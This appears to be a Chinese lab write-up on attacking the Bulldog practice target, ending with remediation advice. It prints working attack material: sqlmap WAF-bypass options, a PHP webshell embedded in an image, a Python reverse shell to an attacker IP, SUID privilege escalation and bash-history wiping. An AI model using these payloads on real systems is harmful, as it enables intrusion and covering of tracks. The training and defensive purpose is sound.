1. Bulldog靶机渗透实战解析

Bulldog是Vulhub靶场中一个经典的Web渗透测试环境，模拟了存在多处漏洞的CMS系统。这个靶机特别适合用来练习从信息收集到提权的完整渗透流程，其中包含的漏洞类型覆盖了OWASP Top 10中的多个高危项。

我在实际渗透测试工作中发现，Bulldog靶机设计的精妙之处在于它还原了真实企业网站中常见的错误配置模式。比如开发者模式下暴露的敏感接口、未过滤的用户输入点、脆弱的身份验证机制等，这些都是企业级渗透测试中频繁遇到的真实场景。

1.1 环境准备与拓扑分析

首先需要配置好Vulhub实验环境。推荐使用最新版的Kali Linux作为攻击机，通过以下命令启动靶机环境：

cd vulhub/bulldog/docker-compose up -d

靶机启动后会开放两个关键端口：

• 80端口：Web应用主入口
• 8080端口：管理后台接口

网络拓扑采用典型的NAT模式，攻击机与靶机处于同一虚拟网络。这里有个细节需要注意：新版Bulldog的IP可能会动态分配，建议用netdiscover工具扫描确认：

netdiscover -r 192.168.0.0/24

注意：如果遇到容器启动失败，可能是端口冲突导致。检查宿主机80/8080端口是否被占用，可通过netstat -tulnp | grep 80确认。

1.2 信息收集阶段实操

使用Nmap进行全端口扫描时，建议加上-sV参数获取服务版本信息：

nmap -sV -p- 192.168.0.105

扫描结果通常会显示：

• 80端口运行Apache 2.4.18
• 8080端口运行Node.js Express

接下来用DirBuster进行目录爆破时，我推荐使用这个字典组合：

/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt /usr/share/wordlists/dirb/common.txt

关键发现点往往在：

• /admin 后台登录入口
• /api 未授权接口文档
• /uploads 文件上传目录

2. 漏洞利用链深度剖析

2.1 SQL注入绕过技巧

Bulldog的登录页面存在基于时间的盲注漏洞。使用sqlmap测试时，需要特别处理以下防御机制：

1. WAF过滤了常见注入关键词，需要用注释符分割：

sqlmap -u "http://target/login" --data="user=test&pass=test" --tamper=space2comment

2. 验证存在注入的参数要用--risk=3 --level=5提高检测级别

3. 获取管理员凭证后，要注意观察Cookie中的admin=false字段，需要手动改为true

2.2 文件上传到RCE的完整路径

找到上传点后，按照这个流程获取shell：

1. 准备图片马：

exiftool -Comment='<?php system($_GET["cmd"]); ?>' test.jpg

2. 上传后访问/uploads/evil.jpg?cmd=id验证执行
3. 用Python建立反向shell：

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

重要技巧：如果遇到上传限制，尝试修改Content-Type为image/jpeg，并用BurpSuite拦截修改文件头为FF D8 FF E0

3. 权限提升与后渗透

3.1 从www-data到root

在获取初始shell后，按照这个顺序进行提权：

1. 检查SUID权限文件：

find / -perm -4000 2>/dev/null

2. 发现/usr/bin/python具有SUID位时，使用：

import os; os.setuid(0); os.system("/bin/bash")

3. 如果没有python，检查crontab任务：

cat /etc/crontab

3.2 痕迹清理要点

完成渗透后需要清理：

1. 删除上传的webshell
2. 清除命令历史：

echo "" > ~/.bash_history history -c

3. 还原修改过的配置文件

4. 防御方案与修复建议

针对Bulldog暴露的漏洞，企业应该采取这些防护措施：

1. 输入验证：

• 所有用户输入必须经过白名单过滤
• 使用预编译语句防御SQL注入

2. 文件上传安全：

• 限制上传文件类型
• 存储时重命名文件
• 禁用上传目录的脚本执行权限

3. 权限控制：

• 遵循最小权限原则
• 定期审计SUID/SGID文件

4. 日志监控：

• 记录所有管理操作
• 设置异常行为告警

5. 常见问题排查指南

Q1：无法访问靶机Web界面

• 检查docker是否正常运行：docker ps
• 确认防火墙规则：iptables -L
• 测试端口连通性：telnet 靶机IP 80

Q2：sqlmap检测不出注入点

• 尝试降低安全级别：--level=1 --risk=1
• 使用延时参数：--time-sec=5
• 更换tamper脚本：--tamper=between,randomcase

Q3：反弹shell失败

• 检查nc监听参数：nc -lvnp 4444
• 尝试不同payload：bash/perl/python多种版本
• 确认出网限制：ping 攻击机IP

在实际渗透测试中，Bulldog这类靶机最大的价值在于它模拟了真实业务系统的脆弱性模式。我建议每个季度都做一次完整的渗透演练，保持对新型攻击手法的敏感度。